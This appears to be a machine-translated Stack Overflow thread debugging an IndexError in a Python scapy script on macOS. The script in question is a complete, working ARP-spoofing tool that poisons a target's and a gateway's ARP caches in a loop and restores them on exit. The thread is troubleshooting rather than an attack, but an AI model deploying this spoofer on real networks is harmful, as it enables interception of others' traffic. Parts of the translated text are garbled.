macOS python 2.7错误:索引器错误:列表索引超出范围

macOS python 2.7错误:索引器错误:列表索引超出范围,python,python-2.7,indexing,Python,Python 2.7,Indexing,用完整代码更新了问题 在macOS上使用此功能时遇到问题。在我看来,我的索引是正确的,所以想知道这是否是macOS的兼容性问题?正在获取标准索引器:列表索引超出范围?是否有人认为我的索引错误?更新: 在应答列表中,它是一个元组列表,其中包含两个元素send、receive。 你能这样试试吗 #!/usr/bin/env python import scapy.all as scapy import time import sys import argparse def get_ar

用完整代码更新了问题

在macOS上使用此功能时遇到问题。在我看来,我的索引是正确的,所以想知道这是否是macOS的兼容性问题?正在获取标准索引器:列表索引超出范围?是否有人认为我的索引错误?

更新:

在应答列表中,它是一个元组列表,其中包含两个元素send、receive。 你能这样试试吗

    #!/usr/bin/env python

import scapy.all as scapy
import time
import sys
import argparse


def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', dest='target_ip', help='[+] IP of target')
    parser.add_argument('-g', '--gateway', dest='gateway_ip', help='[+] IP of gateway')
    return parser.parse_args()


def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst='ff:ff:ff:ff:ff:ff')
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc


def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)


options = get_arguments()
sent_packets_count = 0
try:
    while True:
        spoof(options.target_ip, options.gateway_ip)
        spoof(options.gateway_ip, options.target_ip)
        sent_packets_count = sent_packets_count + 2
        print('\r[+] Packets sent : ' + str(sent_packets_count)),
        sys.stdout.flush()
        time.sleep(2)
except KeyboardInterrupt:
    restore(options.target_ip, options.gateway_ip)
    restore(options.gateway_ip, options.target_ip)
    print('\n[+] Restoring ARP tables...\n[+] Quitting...')
如果仍然存在错误,则需要打印ans的长度,以查看问题所在:

ans, unans = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)
return(str(ans[0][1].hwsrc))
例如:

ans, unans = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)
print(len(ans))
print(len(ans[0]))
print(len(ans[0][1]))
让我们知道

先前的答复:

包含哪一行有问题的完整错误日志是什么?请提供更多我们可以复制的代码,例如数据的外观,以及您使用的库等

请看这一行:

ans, unans = scapy.srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=IP), timeout=2, iface=self.interface, inter=0.2)

for send, receive in ans:
    return receive.sprintf(r"%Ether.src%") 
您已经使用[0]获取了第一个元素,然后在返回时再次执行该操作:

answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
我认为正确的代码应该是:

return answered_list[0][1].hwsrc

希望这能有所帮助。

您是否尝试检查已应答列表[0]?您确定没有忘记前一行末尾的[0]吗?看起来第一个索引[0]正确地提取了字典索引,然后重新引用了所获取mac地址的[1]值,但是…ans,unans=scapy.srparp_request_broadcast,timeout=1,verbose=False returnstrans[0][1]。hwsrc---这奏效了。。现在让我研究一下为什么。。。非常感谢。
return answered_list[1].hwsrc